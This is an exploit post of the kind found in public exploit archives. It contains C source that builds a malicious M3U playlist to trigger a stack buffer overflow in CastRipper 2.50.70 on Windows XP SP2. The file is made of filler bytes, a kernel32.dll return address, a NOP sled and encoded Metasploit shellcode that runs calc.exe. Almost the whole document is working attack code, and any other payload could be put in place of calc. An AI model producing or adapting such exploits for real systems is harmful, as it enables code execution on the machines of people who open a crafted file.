CastRipper Buffer Overflow

`//Exploit Title: CastRipper (.M3U) Stack BOF WinXP SP2 - C  
// Date: 25/12/2009  
// Author: bibi-info  
// Version: 2.50.70  
// Tested on: Windows Xp sp2  
// greetz : His0k4 & All friends & muslims HaCkers(dz)  
  
  
  
#include<stdio.h>  
#include<string.h>  
#include<stdlib.h>  
  
  
  
/* win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com */  
unsigned char scode[] =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x34\x4e\x33\x4b\x58\x4e\x47"  
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"  
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x58"  
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"  
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58"  
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54"  
"\x4b\x38\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"  
"\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x33"  
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x37"  
"\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x38\x42\x57\x4e\x41\x4d\x4a"  
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"  
"\x42\x50\x42\x50\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x45\x41\x33"  
"\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37"  
"\x42\x35\x4a\x46\x50\x57\x4a\x4d\x44\x4e\x43\x47\x4a\x46\x4a\x39"  
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x36"  
"\x4e\x36\x43\x46\x42\x50\x5a";  
  
  
  
  
  
int main ( int argc , char * argv[])  
  
{  
  
FILE* fexp= NULL;  
char* EIP = "\x0C\xAD\x81\x7C"; // 0x7C81AD0C kernel32.dll  
int i;  
  
  
printf("\t. .. ... CastRipper m3u Stack buffer Overflow Exploit ... .. .\r\n");  
printf("\t -------> execute calc.exe <-------\n");  
  
  
if( (fexp=fopen("test.m3u","wb")) ==NULL )  
{  
perror("cannot open exploit file!!!");  
exit(0);  
}  
  
for (i=0; i<26081; i++)  
{  
fwrite("\x41", 1, 1, fexp); // Junk  
}  
  
fwrite(EIP, 4, 1, fexp); // ret  
  
for (i=0; i<50; i++)  
{  
fwrite("\x90", 1, 1, fexp);// Nop's  
}  
  
fwrite(scode, sizeof(scode), 1, fexp);  
  
fclose(fexp);  
  
printf("[+] test.m3u Created successfully \r\n");  
printf("[+] Exploited By b!b!-!nfo from Algeria \r\n");  
  
  
return 0;  
  
}  
  
`